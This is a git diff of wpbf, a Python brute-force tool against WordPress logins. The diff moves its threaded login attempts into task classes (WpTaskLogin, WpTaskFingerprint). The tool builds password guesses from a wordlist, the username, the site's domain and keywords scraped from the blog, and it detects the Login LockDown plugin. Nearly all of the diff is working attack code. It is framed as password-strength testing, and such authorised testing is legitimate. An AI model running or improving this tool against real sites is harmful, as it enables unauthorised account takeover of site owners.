diff --git a/wpbf.py b/wpbf.py
index 59ec139..c05bb91 100755
--- a/wpbf.py
+++ b/wpbf.py
@@ -21,26 +21,22 @@
import urllib2, urlparse
import sys, threading, Queue, time, argparse
-import config, wplib
+import config, wplib, wptask
-class WpbfThread(threading.Thread):
- """Handle threads that consume the wordlist queue and try to login for each word"""
- def __init__(self, wordlist_queue):
+class WpbfWorker(threading.Thread):
+ """Handle threads that consume the tasks queue"""
+ def __init__(self, task_queue):
threading.Thread.__init__(self)
- self._queue = wordlist_queue
+ self._queue = task_queue
def run(self):
while self._queue.qsize() > 0:
try:
- word = self._queue.get()
- if wp.login(config.username, word):
- logger.info("Password '%s' found for username '%s' on %s", word, config.username, wp.get_login_url())
- self._queue.queue.clear()
+ task = self._queue.get()
+ task.run()
self._queue.task_done()
- except urllib2.HTTPError, e:
- logger.debug("HTTP Error: %s for: %s", str(e), word)
- self._queue.put(word)
- logger.debug("Requeued: %s", word)
+ except wptask.WpTaskStop:
+ self._queue.queue.clear()
if __name__ == '__main__':
#parse command line arguments
@@ -94,7 +90,7 @@ def run(self):
exit(0)
# queue
- queue = Queue.Queue()
+ task_queue = Queue.Queue()
# check URL and username
logger.info("Checking URL & username...")
@@ -127,50 +123,53 @@ def run(self):
logger.info("Check if proxy is well configured and running")
sys.exit(0)
+ # load fingerprint task into queue
+ if args.nofingerprint:
+ task_queue.put(wptask.WpTaskFingerprint(config.wp_base_url, config.script_path, config.proxy))
+
# check for Login LockDown plugin
logger.debug("Checking for Login LockDown plugin")
if wp.check_loginlockdown():
logger.warning("Login LockDown plugin is active, bruteforce will be useless")
sys.exit(0)
- # load username into queue
- if config.username not in queue.queue:
- queue.put(config.username)
-
# load wordlist into queue
+ wordlist = [config.username] # add username to the wordlist
logger.debug("Loading wordlist...")
try:
- [queue.put(w.strip()) for w in open(config.wordlist, "r").readlines()]
+ [wordlist.append(w.strip()) for w in open(config.wordlist, "r").readlines()]
except IOError:
logger.error("Can't open '%s' the wordlist will not be used!", config.wordlist)
- logger.debug("%s words loaded from %s", str(queue.qsize()), config.wordlist)
+ logger.debug("%s words loaded from %s", str(len(wordlist)), config.wordlist)
# load into queue additional keywords from blog main page
if args.nokeywords:
- logger.info("Load into queue additional words using keywords from blog...")
- queue.put(wplib.filter_domain(urlparse.urlparse(wp.get_base_url()).hostname)) # add domain name to the queue
- [queue.put(w) for w in wp.find_keywords_in_url(config.min_keyword_len, config.min_frequency, config.ignore_with) ]
-
- # wordpress version
- if args.nofingerprint:
- if wp.fingerprint():
- logger.info("WordPress version: %s", wp.get_version())
-
- # spawn threads
- logger.info("Bruteforcing...")
+ logger.info("Loading additional keywords from blog to the wordlist...")
+ wordlist.append(wplib.filter_domain(urlparse.urlparse(wp.get_base_url()).hostname)) # add domain name to the queue
+ [wordlist.append(w) for w in wp.find_keywords_in_url(config.min_keyword_len, config.min_frequency, config.ignore_with) ]
+
+ # load logins into task queue
+ for password in wordlist:
+ login_task = wptask.WpTaskLogin(config.wp_base_url, config.script_path, config.proxy)
+ login_task.setUsername(config.username)
+ login_task.setPassword(password)
+ task_queue.put(login_task)
+
+ # start workers
+ logger.info("Starting workers...")
for i in range(config.threads):
- t = WpbfThread(queue)
+ t = WpbfWorker(task_queue)
t.start()
# feedback to stdout
- while queue.qsize() > 0:
+ while task_queue.qsize() > 0:
try:
# poor ETA implementation
start_time = time.time()
- start_queue = queue.qsize()
+ start_queue = task_queue.qsize()
time.sleep(10)
delta_time = time.time() - start_time
- current_queue = queue.qsize()
+ current_queue = task_queue.qsize()
delta_queue = start_queue - current_queue
try:
wps = delta_time / delta_queue
@@ -179,6 +178,6 @@ def run(self):
print str(current_queue)+" words left / "+str(round(1 / wps, 2))+" passwords per second / "+str( round((wps*current_queue / 60)/60, 2) )+"h left"
except KeyboardInterrupt:
logger.info("Clearing queue and killing threads...")
- queue.queue.clear()
+ task_queue.queue.clear()
for t in threading.enumerate()[1:]:
t.join()
diff --git a/wplib.py b/wplib.py
index 26b18c3..472a28b 100644
--- a/wplib.py
+++ b/wplib.py
@@ -171,7 +171,6 @@ def find_username(self, url=False):
"""Try to find a suitable username searching for common strings used in templates that refers to authors of blog posts
url -- Any URL in the blog that can contain author references
- proxy -- URL of a HTTP proxy
"""
if url:
data = self.request(url, [], True)
@@ -334,7 +333,7 @@ def check_loginlockdown(self):
def fingerprint(self):
"""Try to fetch WordPress version from "generator" meta tag in main page
- return - WordPress version or false if now found
+ return - WordPress version or false if not found
"""
data = self.request(self._base_url, [], True)
m = re.search('', data)
diff --git a/wptask.py b/wptask.py
new file mode 100644
index 0000000..183212c
--- /dev/null
+++ b/wptask.py
@@ -0,0 +1,54 @@
+"""
+wpbf is a WordPress BruteForce script to remotely test password strength of the WordPress blogging software
+
+Copyright 2011 Andres Tarantini (atarantini@gmail.com)
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program. If not, see .
+"""
+from wplib import Wp
+
+class WpTask():
+ """Base task class"""
+ def run(self):
+ pass
+
+class WpTaskStop(Exception):
+ """Stop all tasks"""
+ def __str__(self):
+ return 'Stop all tasks!'
+
+class WpTaskFingerprint(Wp, WpTask):
+ """Perform WordPress fingerprint and, is positive, log the results"""
+ def run(self):
+ self.logger.info("WordPress version: %s", self.fingerprint())
+
+class WpTaskLogin(Wp, WpTask):
+ """Perform WordPress login. If login is positive, will return true or false otherwise.
+
+ Note that username and password must be set invoking setUsername and setPassword methods.
+ """
+ _username = ''
+ _password = ''
+
+ def setUsername(self, username):
+ self._username = username
+
+ def setPassword(self, password):
+ self._password = password
+
+ def run(self):
+ if self.login(self._username, self._password):
+ # username and password found: log data and stop all tasks
+ self.logger.info("Password '%s' found for username '%s' on %s", self._password, self._username, self.get_login_url())
+ raise WpTaskStop